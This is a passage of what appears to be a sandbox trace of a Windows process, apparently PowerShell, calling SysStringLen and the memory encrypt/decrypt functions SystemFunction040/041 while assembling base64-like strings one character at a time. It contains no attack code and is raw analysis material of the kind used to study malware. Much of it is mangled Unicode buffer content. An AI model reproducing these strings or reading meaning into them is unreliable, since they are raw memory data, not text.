沧腸ٖ礃⊁) returned 0x18 [0234.793] SysStringLen (param_1="㶏끰囈榉\嗞秊澖訸瑴ꕈ澐Ͽ헯퇜׏
沧腸ٖ礃⊁) returned 0x18 [0234.793] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.793] SysStringLen (param_1="RBPfWJTrnQcU90MqJKI5T䤐鱰ᇮ") returned 0x18 [0234.793] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.794] SysStringLen (param_1="㶏끰囈榉\嗞秊澖訸瑴ꕈ澐Ͽ헯\巘ᬪ蠩쯊娻权এ") returned 0x18 [0234.794] SysStringLen (param_1="㶏끰囈榉\嗞秊澖訸瑴ꕈ澐Ͽ헯\巘ᬪ蠩쯊娻权এ") returned 0x18 [0234.794] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.794] SysStringLen (param_1="RBPfWJTrnQcU90MqJKI5Ti鱰ᇮ") returned 0x18 [0234.794] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.794] SysStringLen (param_1="㶏끰囈榉\嗞秊澖訸瑴ꕈ澐Ͽ헯⇜驿睄ϕꍣᣄ⋎) returned 0x18 [0234.794] SysStringLen (param_1="㶏끰囈榉\嗞秊澖訸瑴ꕈ澐Ͽ헯⇜驿睄ϕꍣᣄ⋎) returned 0x18 [0234.794] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.794] SysStringLen (param_1="RBPfWJTrnQcU90MqJKI5Tixᇮ") returned 0x18 [0234.794] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.794] SysStringLen (param_1="㶏끰囈榉\嗞秊澖訸瑴ꕈ澐Ͽ헯隆쀀쎷㔧猽䭪略⋰) returned 0x18 [0234.794] SysStringLen (param_1="㶏끰囈榉\嗞秊澖訸瑴ꕈ澐Ͽ헯隆쀀쎷㔧猽䭪略⋰) returned 0x18 [0234.794] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.794] SysStringLen (param_1="RBPfWJTrnQcU90MqJKI5Tixs") returned 0x18 [0234.794] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.795] SysStringLen (param_1="㶏끰囈榉\嗞秊澖訸瑴ꕈ澐Ͽ헯ࣜ䩅깳K\㷞줞縗") returned 0x18 [0234.795] SysStringLen (param_1="㶏끰囈榉\嗞秊澖訸瑴ꕈ澐Ͽ헯ࣜ䩅깳K\㷞줞縗") returned 0x18 [0234.795] SysStringLen (param_1="㶏끰囈榉\嗞秊澖訸瑴ꕈ澐Ͽ헯ࣜ䩅깳K\㷞줞縗") returned 0x18 [0234.795] SysStringLen (param_1="㶏끰囈榉\嗞秊澖訸瑴ꕈ澐Ͽ헯ࣜ䩅깳K\㷞줞縗") returned 0x20 [0234.795] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.795] SysStringLen (param_1="RBPfWJTrnQcU90MqJKI5TixsL凟Ҟ遠跎计멭댬") returned 0x20 [0234.795] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.795] SysStringLen (param_1="㶏끰囈榉\嗞秊澖訸瑴ꕈ澐Ͽ헯ࣜ䩅깳K\㷞줞縗ꮫ渿䥇횖춘Ꜿ慅\⋚) returned 0x20 [0234.795] SysStringLen (param_1="㶏끰囈榉\嗞秊澖訸瑴ꕈ澐Ͽ헯ࣜ䩅깳K\㷞줞縗ꮫ渿䥇횖춘Ꜿ慅\⋚) returned 0x20 [0234.796] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.796] SysStringLen (param_1="RBPfWJTrnQcU90MqJKI5TixsLhҞ遠跎计멭댬") returned 0x20 [0234.796] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.796] SysStringLen (param_1="㶏끰囈榉\嗞秊澖訸瑴ꕈ澐Ͽ헯ࣜ䩅깳K\㷞줞縗◐䩢⌄ꉕ鞍粋") returned 0x20 [0234.796] SysStringLen (param_1="㶏끰囈榉\嗞秊澖訸瑴ꕈ澐Ͽ헯ࣜ䩅깳K\㷞줞縗◐䩢⌄ꉕ鞍粋") returned 0x20 [0234.796] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.796] SysStringLen (param_1="RBPfWJTrnQcU90MqJKI5TixsLho遠跎计멭댬") returned 0x20 [0234.796] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.796] SysStringLen (param_1="㶏끰囈榉\嗞秊澖訸瑴ꕈ澐Ͽ헯ࣜ䩅깳K\㷞줞縗︁쓒䯇䬢\♞馎≫) returned 0x20 [0234.796] SysStringLen (param_1="㶏끰囈榉\嗞秊澖訸瑴ꕈ澐Ͽ헯ࣜ䩅깳K\㷞줞縗︁쓒䯇䬢\♞馎≫) returned 0x20 [0234.796] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.796] SysStringLen (param_1="RBPfWJTrnQcU90MqJKI5TixsLhoS跎计멭댬") returned 0x20 [0234.796] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.796] SysStringLen (param_1="㶏끰囈榉\嗞秊澖訸瑴ꕈ澐Ͽ헯ࣜ䩅깳K\㷞줞縗롥Ｑ﹁걮賐ꬖ滂") returned 0x20 [0234.797] SysStringLen (param_1="㶏끰囈榉\嗞秊澖訸瑴ꕈ澐Ͽ헯ࣜ䩅깳K\㷞줞縗롥Ｑ﹁걮賐ꬖ滂") returned 0x20 [0234.797] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.797] SysStringLen (param_1="RBPfWJTrnQcU90MqJKI5TixsLhoSD计멭댬") returned 0x20 [0234.797] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.797] SysStringLen (param_1="㶏끰囈榉\嗞秊澖訸瑴ꕈ澐Ͽ헯ࣜ䩅깳K\㷞줞縗輜慷蝢仅ᬥ紒") returned 0x20 [0234.797] SysStringLen (param_1="㶏끰囈榉\嗞秊澖訸瑴ꕈ澐Ͽ헯ࣜ䩅깳K\㷞줞縗輜慷蝢仅ᬥ紒") returned 0x20 [0234.797] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.797] SysStringLen (param_1="RBPfWJTrnQcU90MqJKI5TixsLhoSDS멭댬") returned 0x20 [0234.797] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.797] SysStringLen (param_1="㶏끰囈榉\嗞秊澖訸瑴ꕈ澐Ͽ헯ࣜ䩅깳K\㷞줞縗⼂㙤왮薙ᓕ奨拣炪") returned 0x20 [0234.797] SysStringLen (param_1="㶏끰囈榉\嗞秊澖訸瑴ꕈ澐Ͽ헯ࣜ䩅깳K\㷞줞縗⼂㙤왮薙ᓕ奨拣炪") returned 0x20 [0234.797] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.797] SysStringLen (param_1="RBPfWJTrnQcU90MqJKI5TixsLhoSDSc댬") returned 0x20 [0234.797] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.797] SysStringLen (param_1="㶏끰囈榉\嗞秊澖訸瑴ꕈ澐Ͽ헯ࣜ䩅깳K\㷞줞縗钜酤㯴៣꒯뚬䵴") returned 0x20 [0234.797] SysStringLen (param_1="㶏끰囈榉\嗞秊澖訸瑴ꕈ澐Ͽ헯ࣜ䩅깳K\㷞줞縗钜酤㯴៣꒯뚬䵴") returned 0x20 [0234.798] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.798] SysStringLen (param_1="RBPfWJTrnQcU90MqJKI5TixsLhoSDScJ") returned 0x20 [0234.798] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.798] SysStringLen (param_1="㶏끰囈榉\嗞秊澖訸瑴ꕈ澐Ͽ헯ࣜ䩅깳K\㷞줞縗䱸졅鶶尿纕淈饅⿋") returned 0x20 [0234.798] SysStringLen (param_1="㶏끰囈榉\嗞秊澖訸瑴ꕈ澐Ͽ헯ࣜ䩅깳K\㷞줞縗䱸졅鶶尿纕淈饅⿋") returned 0x20 [0234.798] SysStringLen (param_1="㶏끰囈榉\嗞秊澖訸瑴ꕈ澐Ͽ헯ࣜ䩅깳K\㷞줞縗䱸졅鶶尿纕淈饅⿋") returned 0x20 [0234.798] SysStringLen (param_1="㶏끰囈榉\嗞秊澖訸瑴ꕈ澐Ͽ헯ࣜ䩅깳K\㷞줞縗䱸졅鶶尿纕淈饅⿋\x02") returned 0x28 [0234.798] SystemFunction041 (in: Memory=0x5c9ad14, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ad14) returned 0x0 [0234.798] SysStringLen (param_1="RBPfWJTrnQcU90MqJKI5TixsLhoSDScJA܆㹱竡塤⋩\⋞) returned 0x28 [0234.798] SystemFunction040 (in: Memory=0x5c9ad14, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ad14) returned 0x0 [0234.799] SysStringLen (param_1="㶏끰囈榉\嗞秊澖訸瑴ꕈ澐Ͽ헯ࣜ䩅깳K\㷞줞縗䱸졅鶶尿纕淈饅⿋屝㷲婊鎉淂") returned 0x28 [0234.799] SysStringLen (param_1="㶏끰囈榉\嗞秊澖訸瑴ꕈ澐Ͽ헯ࣜ䩅깳K\㷞줞縗䱸졅鶶尿纕淈饅⿋屝㷲婊鎉淂") returned 0x28 [0234.799] SystemFunction041 (in: Memory=0x5c9ad14, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ad14) returned 0x0 [0234.799] SysStringLen (param_1="RBPfWJTrnQcU90MqJKI5TixsLhoSDScJA3㹱竡塤⋩\⋞) returned 0x28 [0234.799] SystemFunction040 (in: Memory=0x5c9ad14, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ad14) returned 0x0 [0234.799] SysStringLen (param_1="㶏끰囈榉\嗞秊澖訸瑴ꕈ澐Ͽ헯ࣜ䩅깳K\㷞줞縗䱸졅鶶尿纕淈饅⿋闦疆헽\⏛밳苊⋫) returned 0x28 [0234.799] SysStringLen (param_1="㶏끰囈榉\嗞秊澖訸瑴ꕈ澐Ͽ헯ࣜ䩅깳K\㷞줞縗䱸졅鶶尿纕淈饅⿋闦疆헽\⏛밳苊⋫) returned 0x28 [0234.799] SystemFunction041 (in: Memory=0x5c9ad14, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ad14) returned 0x0 [0234.799] SysStringLen (param_1="RBPfWJTrnQcU90MqJKI5TixsLhoSDScJA3a竡塤⋩\⋞) returned 0x28 [0234.799] SystemFunction040 (in: Memory=0x5c9ad14, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ad14) returned 0x0 [0234.799] SysStringLen (param_1="㶏끰囈榉\嗞秊澖訸瑴ꕈ澐Ͽ헯ࣜ䩅깳K\㷞줞縗䱸졅鶶尿纕淈饅⿋寑䤩굻䭜⇵焥") returned 0x28 [0234.799] SysStringLen (param_1="㶏끰囈榉\嗞秊澖訸瑴ꕈ澐Ͽ헯ࣜ䩅깳K\㷞줞縗䱸졅鶶尿纕淈饅⿋寑䤩굻䭜⇵焥") returned 0x28 [0234.799] SystemFunction041 (in: Memory=0x5c9ad14, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ad14) returned 0x0 [0234.799] SysStringLen (param_1="RBPfWJTrnQcU90MqJKI5TixsLhoSDScJA3aE竡塤⋩\⋞) returned 0x28 [0234.799] SystemFunction040 (in: Memory=0x5c9ad14, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ad14) returned 0x0 [0234.800] SysStringLen (param_1="㶏끰囈榉\嗞秊澖訸瑴ꕈ澐Ͽ헯ࣜ䩅깳K\㷞줞縗䱸졅鶶尿纕淈饅⿋夈쳆ꈥ㹠⨥嶫䷢艾") returned 0x28 [0234.800] SysStringLen (param_1="㶏끰囈榉\嗞秊澖訸瑴ꕈ澐Ͽ헯ࣜ䩅깳K\㷞줞縗䱸졅鶶尿纕淈饅⿋夈쳆ꈥ㹠⨥嶫䷢艾") returned 0x28 [0234.800] SystemFunction041 (in: Memory=0x5c9ad14, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ad14) returned 0x0 [0234.800] SysStringLen (param_1="RBPfWJTrnQcU90MqJKI5TixsLhoSDScJA3aEL塤⋩\⋞) returned 0x28 [0234.800] SystemFunction040 (in: Memory=0x5c9ad14, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ad14) returned 0x0 [0234.800] SysStringLen (param_1="㶏끰囈榉\嗞秊澖訸瑴ꕈ澐Ͽ헯ࣜ䩅깳K\㷞줞縗䱸졅鶶尿纕淈饅⿋茓宂㋲亵嶐豝暢㍆") returned 0x28 [0234.800] SysStringLen (param_1="㶏끰囈榉\嗞秊澖訸瑴ꕈ澐Ͽ헯ࣜ䩅깳K\㷞줞縗䱸졅鶶尿纕淈饅⿋茓宂㋲亵嶐豝暢㍆") returned 0x28 [0234.800] SystemFunction041 (in: Memory=0x5c9ad14, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ad14) returned 0x0 [0234.800] SysStringLen (param_1="RBPfWJTrnQcU90MqJKI5TixsLhoSDScJA3aELt⋩\⋞) returned 0x28 [0234.800] SystemFunction040 (in: Memory=0x5c9ad14, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ad14) returned 0x0 [0234.800] SysStringLen (param_1="㶏끰囈榉\嗞秊澖訸瑴ꕈ澐Ͽ헯ࣜ䩅깳K\㷞줞縗䱸졅鶶尿纕淈饅⿋沿ƹ梔륉\狛㫽쉄⊻) returned 0x28 [0234.800] SysStringLen (param_1="㶏끰囈榉\嗞秊澖訸瑴ꕈ澐Ͽ헯ࣜ䩅깳K\㷞줞縗䱸졅鶶尿纕淈饅⿋沿ƹ梔륉\狛㫽쉄⊻) returned 0x28 [0234.800] SystemFunction041 (in: Memory=0x5c9ad14, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ad14) returned 0x0 [0234.800] SysStringLen (param_1="RBPfWJTrnQcU90MqJKI5TixsLhoSDScJA3aELtm\⋞) returned 0x28 [0234.800] SystemFunction040 (in: Memory=0x5c9ad14, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ad14) returned 0x0 [0234.800] SysStringLen (param_1="㶏끰囈榉\嗞秊澖訸瑴ꕈ澐Ͽ헯ࣜ䩅깳K\㷞줞縗䱸졅鶶尿纕淈饅⿋町ठ뷢뢀碀뜵㜎ㅷ") returned 0x28 [0234.800] SysStringLen (param_1="㶏끰囈榉\嗞秊澖訸瑴ꕈ澐Ͽ헯ࣜ䩅깳K\㷞줞縗䱸졅鶶尿纕淈饅⿋町ठ뷢뢀碀뜵㜎ㅷ") returned 0x28 [0234.801] SystemFunction041 (in: Memory=0x5c9ad14, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ad14) returned 0x0 [0234.801] SysStringLen (param_1="RBPfWJTrnQcU90MqJKI5TixsLhoSDScJA3aELtmQ") returned 0x28 [0234.801] SystemFunction040 (in: Memory=0x5c9ad14, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ad14) returned 0x0 [0234.801] SysStringLen (param_1="㶏끰囈榉\嗞秊澖訸瑴ꕈ澐Ͽ헯ࣜ䩅깳K\㷞줞縗䱸졅鶶尿纕淈饅⿋맫盓钓ኺ䂠г唶ೀ") returned 0x28 [0234.801] SysStringLen (param_1="㶏끰囈榉\嗞秊澖訸瑴ꕈ澐Ͽ헯ࣜ䩅깳K\㷞줞縗䱸졅鶶尿纕淈饅⿋맫盓钓ኺ䂠г唶ೀ") returned 0x28 [0234.801] SysStringLen (param_1="㶏끰囈榉\嗞秊澖訸瑴ꕈ澐Ͽ헯ࣜ䩅깳K\㷞줞縗䱸졅鶶尿纕淈饅⿋맫盓钓ኺ䂠г唶ೀ") returned 0x28 [0234.801] SysStringLen (param_1="㶏끰囈榉\嗞秊澖訸瑴ꕈ澐Ͽ헯ࣜ䩅깳K\㷞줞縗䱸졅鶶尿纕淈饅⿋맫盓钓ኺ䂠г唶ೀ") returned 0x30 [0234.801] SystemFunction041 (in: Memory=0x5c931e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c931e4) returned 0x0 [0234.801] SysStringLen (param_1="RBPfWJTrnQcU90MqJKI5TixsLhoSDScJA3aELtmQx乆꡴쭏뉌♅쇻") returned 0x30 [0234.801] SystemFunction040 (in: Memory=0x5c931e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c931e4) returned 0x0 [0234.802] SysStringLen (param_1="㶏끰囈榉\嗞秊澖訸瑴ꕈ澐Ͽ헯ࣜ䩅깳K\㷞줞縗䱸졅鶶尿纕淈饅⿋맫盓钓ኺ䂠г唶ೀ鞇鵮贊삶蝌ᬹஅ寥") returned 0x30 [0234.802] SysStringLen (param_1="㶏끰囈榉\嗞秊澖訸瑴ꕈ澐Ͽ헯ࣜ䩅깳K\㷞줞縗䱸졅鶶尿纕淈饅⿋맫盓钓ኺ䂠г唶ೀ鞇鵮贊삶蝌ᬹஅ寥") returned 0x30 [0234.802] SystemFunction041 (in: Memory=0x5c931e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c931e4) returned 0x0 [0234.802] SysStringLen (param_1="RBPfWJTrnQcU90MqJKI5TixsLhoSDScJA3aELtmQx4꡴쭏뉌♅쇻") returned 0x30 [0234.802] SystemFunction040 (in: Memory=0x5c931e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c931e4) returned 0x0 [0234.802] SysStringLen (param_1="㶏끰囈榉\嗞秊澖訸瑴ꕈ澐Ͽ헯ࣜ䩅깳K\㷞줞縗䱸졅鶶尿纕淈饅⿋맫盓钓ኺ䂠г唶ೀ컳\囙ꏅ⾁怭뤊旅⋆) returned 0x30 [0234.802] SysStringLen (param_1="㶏끰囈榉\嗞秊澖訸瑴ꕈ澐Ͽ헯ࣜ䩅깳K\㷞줞縗䱸졅鶶尿纕淈饅⿋맫盓钓ኺ䂠г唶ೀ컳\囙ꏅ⾁怭뤊旅⋆) returned 0x30 [0234.802] SystemFunction041 (in: Memory=0x5c931e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c931e4) returned 0x0 [0234.802] SysStringLen (param_1="RBPfWJTrnQcU90MqJKI5TixsLhoSDScJA3aELtmQx4U꡴쭏뉌♅쇻") returned 0x30 [0234.802] SystemFunction040 (in: Memory=0x5c931e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c931e4) returned 0x0 [0234.802] SysStringLen (param_1="㶏끰囈榉\嗞秊澖訸瑴ꕈ澐Ͽ헯ࣜ䩅깳K\㷞줞縗䱸졅鶶尿纕淈饅⿋맫盓钓ኺ䂠г唶ೀᾔ剮搈쫳壱ꑶ衰䈓") returned 0x30 [0234.802] SysStringLen (param_1="㶏끰囈榉\嗞秊澖訸瑴ꕈ澐Ͽ헯ࣜ䩅깳K\㷞줞縗䱸졅鶶尿纕淈饅⿋맫盓钓ኺ䂠г唶ೀᾔ剮搈쫳壱ꑶ衰䈓") returned 0x30 [0234.802] SystemFunction041 (in: Memory=0x5c931e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c931e4) returned 0x0 [0234.802] SysStringLen (param_1="RBPfWJTrnQcU90MqJKI5TixsLhoSDScJA3aELtmQx4U=쭏뉌♅쇻") returned 0x30 [0234.802] SystemFunction040 (in: Memory=0x5c931e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c931e4) returned 0x0 [0234.802] EtwEventActivityIdControl () returned 0x0 [0234.803] EtwEventActivityIdControl () returned 0x0 [0234.803] EtwEventActivityIdControl () returned 0x0 [0234.803] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0234.803] EtwEventActivityIdControl () returned 0x0 [0234.803] EtwEventActivityIdControl () returned 0x0 [0234.803] EtwEventActivityIdControl () returned 0x0 [0234.804] SysStringLen (param_1="") returned 0x8 [0234.804] SysStringLen (param_1="N") returned 0x8 [0234.804] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.804] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0234.804] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0234.804] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.804] SysStringLen (param_1="ND") returned 0x8 [0234.804] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.804] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0234.804] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0234.804] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.805] SysStringLen (param_1="NDZ") returned 0x8 [0234.805] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.805] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0234.805] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0234.805] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.805] SysStringLen (param_1="NDZl") returned 0x8 [0234.805] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.805] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0234.805] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0234.805] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.805] SysStringLen (param_1="NDZlO") returned 0x8 [0234.805] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.805] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0234.805] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0234.805] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.806] SysStringLen (param_1="NDZlOD") returned 0x8 [0234.806] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.806] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0234.806] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0234.806] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.806] SysStringLen (param_1="NDZlODR") returned 0x8 [0234.806] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.806] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0234.806] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0234.806] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.806] SysStringLen (param_1="NDZlODRm") returned 0x8 [0234.806] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.806] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0234.806] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0234.807] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0234.807] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0234.807] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.807] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0234.807] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.807] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0234.807] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0234.807] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.807] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0234.807] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.807] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0234.807] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0234.808] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.808] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0234.808] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.808] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0234.808] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0234.808] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.808] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0234.808] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.808] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0234.808] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0234.808] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.808] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0234.808] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.808] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0234.808] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0234.808] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.809] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0234.809] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.809] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0234.809] SysStringLen 